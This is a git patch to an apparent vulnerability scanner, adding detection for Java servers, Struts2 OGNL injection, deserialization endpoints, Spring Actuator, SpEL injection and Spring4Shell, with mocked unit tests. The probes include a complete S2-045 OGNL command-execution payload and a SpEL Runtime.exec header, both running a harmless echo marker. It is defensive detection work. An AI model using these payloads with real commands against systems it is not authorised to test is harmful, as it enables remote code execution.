patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7109) + + findings = result.get("findings", []) + self.assertTrue(any("CVE-2022-22963" in f["title"] for f in findings), f"Should detect SpEL injection. Got: {[f['title'] for f in findings]}") + + # ── Gap fix: Struts2 detection via /struts/utils.js ───────────── + + def test_struts2_detected_from_utils_js(self): + """Struts2 should be detected via /struts/utils.js (REST showcase).""" + _, worker = self._build_worker(ports=[7101]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + pass # 404 + elif url.endswith(":7101") or url.endswith(":7101/"): + resp.ok = True + resp.status_code = 200 + resp.text = 'REST showcase' + resp.headers = {"Server": "Apache-Coyote/1.1"} + elif "/struts/utils.js" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'var StrutsUtils = {}; // Struts2 tag library utilities\n' * 5 + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_java_servers("1.2.3.4", 7101) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Struts2" in t for t in titles), f"Should detect Struts2 via utils.js. Got: {titles}") + + # ── Gap fix: Tomcat + Struts2 co-detection (no early return) ──── + + def test_tomcat_and_struts2_codetected(self): + """Tomcat detection should NOT prevent Struts2 detection.""" + _, worker = self._build_worker(ports=[7101]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + pass # 404 + elif "nonexistent_" in url: + resp.text = '

Apache Tomcat/8.5.33 - Error report

' + elif url.endswith(":7101") or url.endswith(":7101/"): + resp.ok = True + resp.status_code = 200 + resp.text = 'REST app' + resp.headers = {"Server": "Apache-Coyote/1.1"} + elif "/struts/utils.js" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'var StrutsUtils = {}; // Struts2 utilities\n' * 5 + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_java_servers("1.2.3.4", 7101) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Tomcat" in t for t in titles), f"Should detect Tomcat. Got: {titles}") + self.assertTrue(any("Struts2" in t for t in titles), f"Should also detect Struts2. Got: {titles}") + + # ── Gap fix: Spring MVC via POST 405 ──────────────────────────── + + def test_spring_detected_from_post_405(self): + """Spring MVC should be detected via POST → 405 with Spring message.""" + _, worker = self._build_worker(ports=[7108]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + pass # 404 + elif "nonexistent_" in url: + resp.text = '

Apache Tomcat/8.5.77 - Error report

' + elif url.endswith(":7108") or url.endswith(":7108/"): + resp.ok = True + resp.status_code = 200 + resp.text = 'Hello, my name is , I am years old.' + resp.headers = {"Server": "Apache-Coyote/1.1"} + elif "/struts/utils.js" in url: + pass # 404 + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + if url.endswith(":7108") or url.endswith(":7108/"): + resp.status_code = 405 + resp.text = ("

HTTP Status 405 – Method Not Allowed

" + "

Message Request method 'POST' is not supported

" + "") + else: + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_java_servers("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Tomcat" in t for t in titles), f"Should detect Tomcat. Got: {titles}") + self.assertTrue(any("Spring" in t for t in titles), f"Should detect Spring MVC via POST 405. Got: {titles}") + + # ── Gap fix: Spring4Shell with 400/500 second check ───────────── + + def test_spring4shell_detected_with_binding_error(self): + """Spring4Shell should be detected when URLs[0] returns 400 (type error).""" + _, worker = self._build_worker(ports=[7108]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "App" + resp.headers = {"Content-Type": "text/html"} + if "class.module.classLoader.DefaultAssertionStatus" in url: + resp.status_code = 200 # Spring accepted classLoader binding + elif "class.module.classLoader.URLs" in url: + resp.status_code = 400 # Type conversion error — binding attempted + resp.text = "Bad Request" + elif "/actuator" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Spring4Shell" in t for t in titles), f"Should detect Spring4Shell via binding error. Got: {titles}") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -6586,4 +7144,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestDetectionGapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch2GapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch3GapFixes)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch4JavaGapFixes)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index 573480b1..f80c9f34 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -802,6 +802,303 @@ def _web_test_verbose_errors(self, target, port): return probe_result(findings=findings_list) + # ── Java Application Server fingerprinting ────────────────────────── + + _JAVA_SERVER_EOL = { + "JBoss AS": {"5": "2012", "6": "2016"}, + } + + def _web_test_java_servers(self, target, port): + """ + Detect and version-check Java application servers and frameworks: + WebLogic, Tomcat, JBoss/WildFly, Struts2, Spring. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + raw = {"java_server": None, "version": None, "framework": None} + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # --- 1. WebLogic detection --- + weblogic_version = None + # Console login page + try: + resp = requests.get(base_url + "/console/login/LoginForm.jsp", timeout=4, verify=False, allow_redirects=True) + if resp.ok and "WebLogic" in resp.text: + raw["java_server"] = "WebLogic" + ver_m = _re.search(r'(?:WebLogic Server|footerVersion)[^0-9]*(\d+\.\d+\.\d+\.\d+)', resp.text) + if ver_m: + weblogic_version = ver_m.group(1) + else: + weblogic_version = "unknown" + except Exception: + pass + # T3/IIOP banner on root (some WebLogic instances) + if not weblogic_version: + try: + resp = requests.get(base_url, timeout=3, verify=False) + if resp.ok: + # Check for WebLogic error page patterns + if "WebLogic" in resp.text or "BEA-" in resp.text: + raw["java_server"] = "WebLogic" + weblogic_version = "unknown" + # Check X-Powered-By for Servlet/JSP versions typical of WebLogic + xpb = resp.headers.get("X-Powered-By", "") + if "Servlet" in xpb and "JSP" in xpb and not raw["java_server"]: + # Could be WebLogic or other Java server — check console + pass + except Exception: + pass + + if weblogic_version: + raw["version"] = weblogic_version + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"WebLogic Server {weblogic_version} detected", + description=f"Oracle WebLogic Server {weblogic_version} identified on {target}:{port}.", + evidence="Detection via /console/login/LoginForm.jsp or error page.", + remediation="Restrict access to the WebLogic console; keep WebLogic patched.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="certain", + )) + if weblogic_version != "unknown": + findings_list += check_cves("weblogic", weblogic_version) + # Check for console exposure + try: + resp = requests.get(base_url + "/console/", timeout=3, verify=False, allow_redirects=True) + if resp.ok and ("login" in resp.text.lower() or "WebLogic" in resp.text): + findings_list.append(Finding( + severity=Severity.HIGH, + title="WebLogic admin console exposed", + description="The WebLogic administration console is accessible without IP restriction.", + evidence=f"GET {base_url}/console/ → {resp.status_code}", + remediation="Restrict console access to management network only.", + owasp_id="A01:2021", + cwe_id="CWE-306", + confidence="certain", + )) + except Exception: + pass + return probe_result(raw_data=raw, findings=findings_list) + + # --- 2. Tomcat detection --- + tomcat_version = None + try: + resp = requests.get(base_url, timeout=3, verify=False) + if resp.ok: + # Tomcat default page or error page + tc_m = _re.search(r'Apache Tomcat[/\s]*(\d+\.\d+\.\d+)', resp.text) + if tc_m: + tomcat_version = tc_m.group(1) + elif "Apache Tomcat" in resp.text: + tomcat_version = "unknown" + # Server header + srv = resp.headers.get("Server", "") + if not tomcat_version and "Tomcat" in srv: + tc_m = _re.search(r'Tomcat[/\s]*(\d+\.\d+\.\d+)', srv) + tomcat_version = tc_m.group(1) if tc_m else "unknown" + except Exception: + pass + # Try 404 page which often reveals Tomcat version + if not tomcat_version: + try: + resp = requests.get(base_url + "/nonexistent_" + _uuid.uuid4().hex[:6], timeout=3, verify=False) + tc_m = _re.search(r'Apache Tomcat[/\s]*(\d+\.\d+\.\d+)', resp.text) + if tc_m: + tomcat_version = tc_m.group(1) + except Exception: + pass + + if tomcat_version: + raw["java_server"] = "Tomcat" + raw["version"] = tomcat_version + findings_list.append(Finding( + severity=Severity.LOW, + title=f"Apache Tomcat {tomcat_version} detected", + description=f"Apache Tomcat {tomcat_version} identified on {target}:{port}.", + evidence="Detection via default page, error page, or Server header.", + remediation="Keep Tomcat updated; remove default applications.", + confidence="certain", + )) + if tomcat_version != "unknown": + findings_list += check_cves("tomcat", tomcat_version) + # Manager app exposure + for mgr_path in ["/manager/html", "/manager/status"]: + try: + resp = requests.get(base_url + mgr_path, timeout=3, verify=False) + if resp.status_code in (200, 401, 403): + findings_list.append(Finding( + severity=Severity.HIGH if resp.status_code == 200 else Severity.MEDIUM, + title=f"Tomcat Manager accessible: {mgr_path}", + description=f"Tomcat Manager at {mgr_path} returned {resp.status_code}.", + evidence=f"GET {base_url}{mgr_path} → {resp.status_code}", + remediation="Remove or restrict Tomcat Manager in production.", + owasp_id="A01:2021", + cwe_id="CWE-306", + confidence="certain", + )) + break + except Exception: + pass + # Do NOT return — frameworks (Spring, Struts2) often run on Tomcat + + # --- 3. JBoss / WildFly detection --- + jboss_version = None + try: + resp = requests.get(base_url, timeout=3, verify=False) + xpb = resp.headers.get("X-Powered-By", "") + jb_m = _re.search(r'JBossAS[- ]*(\d+)', xpb) + if jb_m: + jboss_version = jb_m.group(1) + ".0" + raw["java_server"] = "JBoss AS" + elif "JBoss" in xpb or "WildFly" in xpb: + jboss_version = "unknown" + raw["java_server"] = "JBoss/WildFly" + # Check for JBoss welcome page + if not jboss_version and resp.ok: + if "JBoss" in resp.text or "WildFly" in resp.text: + jb_m = _re.search(r'(?:JBoss|WildFly)[/\s]*(\d+\.\d+\.\d+)', resp.text) + jboss_version = jb_m.group(1) if jb_m else "unknown" + raw["java_server"] = "JBoss" if "JBoss" in resp.text else "WildFly" + except Exception: + pass + + if jboss_version: + raw["version"] = jboss_version + findings_list.append(Finding( + severity=Severity.LOW, + title=f"{raw['java_server']} {jboss_version} detected", + description=f"{raw['java_server']} {jboss_version} identified on {target}:{port}.", + evidence=f"Detection via X-Powered-By header or welcome page.", + remediation="Keep application server updated; restrict management interfaces.", + confidence="certain", + )) + # EOL check + if jboss_version != "unknown" and raw["java_server"] == "JBoss AS": + major = jboss_version.split(".")[0] + eol_date = self._JAVA_SERVER_EOL.get("JBoss AS", {}).get(major) + if eol_date: + findings_list.append(Finding( + severity=Severity.HIGH, + title=f"JBoss AS {jboss_version} is end-of-life (EOL since {eol_date})", + description=f"JBoss AS {jboss_version} no longer receives security patches.", + evidence=f"Version: {jboss_version}, EOL: {eol_date}", + remediation="Migrate to WildFly or JBoss EAP.", + owasp_id="A06:2021", + cwe_id="CWE-1104", + confidence="certain", + )) + if jboss_version != "unknown": + findings_list += check_cves("jboss", jboss_version) + # JMX console exposure + try: + resp = requests.get(base_url + "/jmx-console/", timeout=3, verify=False) + if resp.status_code in (200, 401): + findings_list.append(Finding( + severity=Severity.HIGH if resp.status_code == 200 else Severity.MEDIUM, + title="JBoss JMX console exposed", + description=f"JMX console at /jmx-console/ returned {resp.status_code}.", + evidence=f"GET {base_url}/jmx-console/ → {resp.status_code}", + remediation="Remove or restrict JMX console access.", + owasp_id="A01:2021", + cwe_id="CWE-306", + confidence="certain", + )) + except Exception: + pass + # Do NOT return — frameworks (Spring, Struts2) may run on JBoss + + # --- 4. Spring Framework detection --- + spring_detected = False + try: + resp = requests.get(base_url, timeout=3, verify=False) + body = resp.text[:10000] + # Spring Whitelabel Error Page + if "Whitelabel Error Page" in body or "Spring" in resp.headers.get("X-Application-Context", ""): + spring_detected = True + # JSESSIONID cookie (generic Java indicator) + if not spring_detected and "JSESSIONID" in resp.headers.get("Set-Cookie", ""): + raw["framework"] = "Java (JSESSIONID)" + except Exception: + pass + if not spring_detected: + try: + resp = requests.get(base_url + "/nonexistent_" + _uuid.uuid4().hex[:6], timeout=3, verify=False) + if "Whitelabel Error Page" in resp.text: + spring_detected = True + elif "org.springframework" in resp.text or "DispatcherServlet" in resp.text: + spring_detected = True + except Exception: + pass + # Spring MVC: POST to root returns 405 with Spring-specific message + if not spring_detected: + try: + resp = requests.post(base_url, data="", timeout=3, verify=False) + if resp.status_code == 405: + body = resp.text + if "Request method" in body and "not supported" in body: + spring_detected = True + except Exception: + pass + + spring_evidence = [] + if spring_detected: + raw["framework"] = "Spring" + spring_evidence.append("Spring MVC indicators detected") + findings_list.append(Finding( + severity=Severity.LOW, + title="Spring Framework detected", + description=f"Spring Framework identified on {target}:{port}.", + evidence="Whitelabel Error Page, X-Application-Context header, " + "DispatcherServlet in error page, or Spring MVC 405 response.", + remediation="Disable the default error page in production; keep Spring updated.", + confidence="certain", + )) + + # --- 5. Struts2 detection --- + struts_detected = False + struts_evidence = "" + # 5a. Check /struts/utils.js — present in all Struts2 apps using tag + try: + resp = requests.get(base_url + "/struts/utils.js", timeout=3, verify=False) + if resp.ok and len(resp.text) > 50: + struts_detected = True + struts_evidence = "/struts/utils.js present" + except Exception: + pass + # 5b. Check homepage for .action/.do URLs or Struts indicators + if not struts_detected: + try: + resp = requests.get(base_url, timeout=3, verify=False) + body = resp.text[:10000] + struts_indicators = [".action", ".do", "struts", "Struts Problem Report"] + if any(ind in body for ind in struts_indicators): + struts_detected = True + struts_evidence = ".action/.do URLs or Struts indicators in page" + except Exception: + pass + if struts_detected: + raw["framework"] = "Struts2" + findings_list.append(Finding( + severity=Severity.LOW, + title="Apache Struts2 framework detected", + description=f"Struts2 indicators found on {target}:{port}.", + evidence=f"Detection via {struts_evidence}.", + remediation="Keep Struts2 updated; review OGNL injection mitigations.", + confidence="firm", + )) + + return probe_result(raw_data=raw, findings=findings_list) + # ── A08:2021 / A06:2021 — JS library version detection ───────────── _JS_LIB_PATTERNS = [ diff --git a/extensions/business/cybersec/red_mesh/web_injection_mixin.py b/extensions/business/cybersec/red_mesh/web_injection_mixin.py index 87361334..779abfe0 100644 --- a/extensions/business/cybersec/red_mesh/web_injection_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_injection_mixin.py @@ -362,10 +362,10 @@ def _web_test_ssti(self, target, port): base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" ssti_payloads = [ - ("{{7*7}}", "49", "Jinja2/Twig"), + ("{{71*73}}", "5183", "Jinja2/Twig"), ("{{7*'7'}}", "7777777", "Jinja2"), - ("${7*7}", "49", "Freemarker/Mako"), - ("<%= 7*7 %>", "49", "ERB/EJS"), + ("${79*67}", "5293", "Freemarker/Mako"), + ("<%= 71*73 %>", "5183", "ERB/EJS"), ] params = ["name", "q", "search", "input", "text", "template", "page", "id"] @@ -387,9 +387,17 @@ def _web_test_ssti(self, target, port): if expected in baseline_text: continue try: + # For short expected values (e.g. "49"), bracket the payload with + # two control requests to catch incrementing counters/timestamps + if len(expected) <= 3: + ctrl1 = requests.get(f"{base_url}?{param}=harmless1", timeout=3, verify=False) url = f"{base_url}?{param}={quote(payload)}" resp = requests.get(url, timeout=3, verify=False) if expected in resp.text and payload not in resp.text: + if len(expected) <= 3: + ctrl2 = requests.get(f"{base_url}?{param}=harmless2", timeout=3, verify=False) + if expected in ctrl1.text or expected in ctrl2.text: + continue findings_list.append(Finding( severity=Severity.CRITICAL, title=f"SSTI ({engine}) via ?{param}= parameter", @@ -614,6 +622,383 @@ def _web_test_php_cgi(self, target, port): return probe_result(findings=findings_list) + # ── OGNL Injection (Struts2) ───────────────────────────────────────── + + def _web_test_ognl_injection(self, target, port): + """ + Test for Apache Struts2 OGNL injection via Content-Type header (S2-045) + and other known Struts2 attack vectors. + + Safe detection: uses math expression that produces a unique marker + without side effects. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # S2-045: OGNL injection via Content-Type header + # The payload evaluates a math expression; if Struts2 processes it, + # the error message will contain the evaluated result + marker = "167837218" # 12969 * 12942 + ognl_payload = ( + "%{(#_='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#cmd='echo " + marker + "')." + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + "(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd}))." + "(#p=new java.lang.ProcessBuilder(#cmds))." + "(#p.redirectErrorStream(true)).(#process=#p.start())." + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + "(#ros.flush())}" + ) + + # Try against common Struts2 action paths + struts_paths = ["/", "/index.action", "/login.action", "/showcase.action", + "/orders/3", "/orders"] + for path in struts_paths: + if findings_list: + break + try: + url = base_url.rstrip("/") + path + resp = requests.get( + url, + headers={"Content-Type": ognl_payload}, + timeout=5, + verify=False, + ) + if marker in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title=f"CVE-2017-5638: Struts2 S2-045 OGNL injection RCE via {path}", + description="Apache Struts2 evaluates OGNL expressions injected via " + "the Content-Type header, enabling unauthenticated RCE.", + evidence=f"GET {url} with OGNL payload in Content-Type " + f"returned marker '{marker}' in response body.", + remediation="Upgrade Struts2 to >= 2.5.10.1 or >= 2.3.32.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="certain", + )) + except Exception: + pass + + # S2-045 alternative: check if Struts returns OGNL error in response + # (indicates vulnerable parser even if execution is sandboxed) + if not findings_list: + for path in struts_paths[:3]: + try: + url = base_url.rstrip("/") + path + resp = requests.get( + url, + headers={"Content-Type": "%{1+1}"}, + timeout=4, + verify=False, + ) + if resp.status_code == 200 and "ognl" in resp.text.lower(): + findings_list.append(Finding( + severity=Severity.HIGH, + title=f"Struts2 OGNL parsing detected via {path}", + description="Struts2 attempted to parse OGNL expression in " + "Content-Type header. May be exploitable for RCE.", + evidence=f"GET {url} with Content-Type: %{{1+1}} " + "returned OGNL-related content.", + remediation="Upgrade Struts2; apply S2-045 patch.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="firm", + )) + break + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── Java Deserialization endpoints ───────────────────────────────── + + def _web_test_java_deserialization(self, target, port): + """ + Detect exposed Java deserialization endpoints: + - WebLogic wls-wsat / iiop_wsat + - JBoss /invoker/readonly + - JBoss /jmx-console/ + - Spring Boot /jolokia + + Does NOT send actual deserialization payloads — only probes for + endpoint existence (safe detection). + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + deser_endpoints = [ + { + "path": "/wls-wsat/CoordinatorPortType", + "product": "WebLogic", + "cve": "CVE-2017-10271", + "check": lambda resp: resp.status_code == 200 and ("CoordinatorPortType" in resp.text or "xml" in resp.headers.get("Content-Type", "").lower()), + "desc": "WebLogic wls-wsat endpoint exposed — attack surface for " + "XMLDecoder deserialization RCE (CVE-2017-10271).", + }, + { + "path": "/_async/AsyncResponseService", + "product": "WebLogic", + "cve": "CVE-2019-2725", + "check": lambda resp: resp.status_code in (200, 500) and ("AsyncResponseService" in resp.text or "xml" in resp.headers.get("Content-Type", "").lower()), + "desc": "WebLogic _async endpoint exposed — attack surface for " + "deserialization RCE (CVE-2019-2725).", + }, + { + "path": "/invoker/readonly", + "product": "JBoss", + "cve": "CVE-2017-12149", + "check": lambda resp: resp.status_code == 500, + "desc": "JBoss /invoker/readonly returns 500, indicating the " + "deserialization endpoint exists (CVE-2017-12149).", + }, + { + "path": "/invoker/JMXInvokerServlet", + "product": "JBoss", + "cve": None, + "check": lambda resp: resp.status_code in (200, 500), + "desc": "JBoss JMXInvokerServlet exposed — Java deserialization attack surface.", + }, + ] + + for ep in deser_endpoints: + try: + url = base_url.rstrip("/") + ep["path"] + resp = requests.get(url, timeout=4, verify=False) + if ep["check"](resp): + title = f"Java deserialization endpoint: {ep['path']}" + if ep["cve"]: + title = f"{ep['cve']}: {ep['product']} deserialization endpoint {ep['path']}" + findings_list.append(Finding( + severity=Severity.CRITICAL if ep["cve"] else Severity.HIGH, + title=title, + description=ep["desc"], + evidence=f"GET {url} → {resp.status_code}", + remediation=f"Remove or restrict access to {ep['path']}; " + f"upgrade {ep['product']}.", + owasp_id="A08:2021", + cwe_id="CWE-502", + confidence="firm", + )) + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── Spring Actuator & SpEL injection ─────────────────────────────── + + def _web_test_spring_actuator(self, target, port): + """ + Detect Spring Boot Actuator exposure and Spring Cloud Function SpEL injection. + + Tests: + 1. Actuator endpoints (/actuator, /actuator/env, /actuator/health, /env) + 2. Spring Cloud Function CVE-2022-22963 (SpEL via spring.cloud.function.routing-expression) + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # --- 1. Actuator endpoints --- + actuator_paths = [ + ("/actuator", "Actuator root — lists available endpoints"), + ("/actuator/env", "Environment dump — may contain secrets"), + ("/actuator/health", "Health check — reveals internal state"), + ("/actuator/beans", "Bean listing — reveals application structure"), + ("/actuator/configprops", "Configuration properties — may contain secrets"), + ("/actuator/mappings", "URL mappings — reveals all API endpoints"), + ("/env", "Legacy Spring Boot environment endpoint"), + ("/jolokia", "Jolokia JMX-over-HTTP — RCE risk via MBean manipulation"), + ] + + for path, desc in actuator_paths: + try: + url = base_url.rstrip("/") + path + resp = requests.get(url, timeout=3, verify=False) + if resp.status_code == 200: + # Validate it's actually an actuator/Spring endpoint + ct = resp.headers.get("Content-Type", "").lower() + body = resp.text[:2000] + if "json" in ct or "actuator" in body.lower() or "{" in body[:10]: + sev = Severity.HIGH + if path in ("/actuator/health",): + sev = Severity.MEDIUM + if "jolokia" in path: + sev = Severity.CRITICAL + findings_list.append(Finding( + severity=sev, + title=f"Spring Actuator exposed: {path}", + description=desc, + evidence=f"GET {url} → {resp.status_code}, Content-Type: {ct}", + remediation="Restrict actuator endpoints via security config; " + "disable sensitive endpoints in production.", + owasp_id="A05:2021", + cwe_id="CWE-215", + confidence="certain", + )) + except Exception: + pass + + # --- 2. CVE-2022-22963: Spring Cloud Function SpEL injection --- + marker = "REDMESH_SPEL_9183" + try: + # First, check if /functionRouter exists at all (baseline without SpEL header) + baseline_resp = requests.post( + base_url + "/functionRouter", + data="test", + headers={"Content-Type": "application/x-www-form-urlencoded"}, + timeout=5, + verify=False, + ) + # Now send with SpEL header + resp = requests.post( + base_url + "/functionRouter", + data="test", + headers={ + "Content-Type": "application/x-www-form-urlencoded", + "spring.cloud.function.routing-expression": + f'T(java.lang.Runtime).getRuntime().exec("echo {marker}")', + }, + timeout=5, + verify=False, + ) + spel_detected = False + confidence = "firm" + evidence_detail = "" + # Check 1: explicit SpEL error in response + if resp.status_code == 500 and ("SpelEvaluationException" in resp.text or + "EvaluationException" in resp.text or + "routing-expression" in resp.text): + spel_detected = True + evidence_detail = "SpEL error in response body" + # Check 2: marker in response (actual execution) + elif resp.status_code == 500 and marker in resp.text: + spel_detected = True + confidence = "certain" + evidence_detail = f"marker '{marker}' in response" + # Check 3: /functionRouter returns 500 with SpEL header but different + # status without it — indicates the header was processed + elif (resp.status_code == 500 and + baseline_resp.status_code != 500 and + baseline_resp.status_code in (200, 404)): + spel_detected = True + evidence_detail = (f"500 with SpEL header vs {baseline_resp.status_code} " + "without — header was processed") + # Check 4: both return 500 but the endpoint exists (not a generic 404) + elif (resp.status_code == 500 and baseline_resp.status_code == 500): + # Both fail, but endpoint exists — likely Spring Cloud Function + # with routing that crashes on the SpEL expression + spel_detected = True + confidence = "tentative" + evidence_detail = "both requests return 500 — endpoint exists and processes routing" + + if spel_detected: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="CVE-2022-22963: Spring Cloud Function SpEL injection RCE", + description="Spring Cloud Function evaluates SpEL expressions from the " + "spring.cloud.function.routing-expression header, enabling RCE.", + evidence=f"POST {base_url}/functionRouter with SpEL header → " + f"{resp.status_code}. {evidence_detail}", + remediation="Upgrade Spring Cloud Function to >= 3.1.7 or >= 3.2.3.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence=confidence, + )) + except Exception: + pass + + # --- 3. Spring4Shell indicator: check if class.module access is possible --- + # Safe detection: send parameter that would trigger Spring4Shell but + # only look for error patterns, not actual exploitation + try: + resp = requests.get( + base_url + "/?class.module.classLoader.DefaultAssertionStatus=true", + timeout=3, + verify=False, + ) + # If this returns 200 (not 400), the classLoader parameter binding may work + if resp.status_code == 200: + # Double-check with a known-bad parameter + resp2 = requests.get( + base_url + "/?class.module.classLoader.URLs%5B0%5D=0", + timeout=3, + verify=False, + ) + if resp2.status_code == 200: + findings_list.append(Finding( + severity=Severity.HIGH, + title="Spring4Shell (CVE-2022-22965) parameter binding indicator", + description="Spring MVC accepts class.module.classLoader parameter " + "binding, which is the attack surface for Spring4Shell RCE.", + evidence=f"GET with class.module.classLoader parameter → 200, " + f"URLs[0] → {resp2.status_code}.", + remediation="Upgrade Spring Framework to >= 5.3.18 or >= 5.2.20.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="tentative", + )) + elif resp2.status_code in (400, 500): + # 400/500 = Spring tried to bind classLoader but failed on type + # conversion — stronger evidence than silent acceptance + findings_list.append(Finding( + severity=Severity.HIGH, + title="Spring4Shell (CVE-2022-22965) parameter binding indicator", + description="Spring MVC processes class.module.classLoader parameter " + "binding (type error on URLs[0]), confirming Spring4Shell " + "attack surface.", + evidence=f"GET with class.module.classLoader → 200, " + f"URLs[0] → {resp2.status_code} (binding attempted).", + remediation="Upgrade Spring Framework to >= 5.3.18 or >= 5.2.20.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="firm", + )) + except Exception: + pass + + return probe_result(findings=findings_list) + + # ── A04:2021 — IDOR indicators ────────────────────────────────────── _IDOR_PATHS = [ From c4cb4ed6dca34597091ab7aee90ca7671df5d767 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 20:04:35 +0000 Subject: [PATCH 30/42] fix: detected services count calculation --- .../business/cybersec/red_mesh/pentester_api_01.py | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index c2ad3b78..abb3d778 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1480,7 +1480,7 @@ def parse_port(port_key): return risk_result, flat_findings def _count_services(self, service_info): - """Count unique service types across all ports. + """Count ports that have at least one identified service. Parameters ---------- @@ -1490,16 +1490,15 @@ def _count_services(self, service_info): Returns ------- int - Number of unique service types (probe names). + Number of ports with detected services. """ - services = set() if not isinstance(service_info, dict): return 0 + count = 0 for port_key, probes in service_info.items(): - if isinstance(probes, dict): - for probe_name in probes: - services.add(probe_name) - return len(services) + if isinstance(probes, dict) and len(probes) > 0: + count += 1 + return count SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4} CONFIDENCE_ORDER = {"certain": 0, "firm": 1, "tentative": 2} From 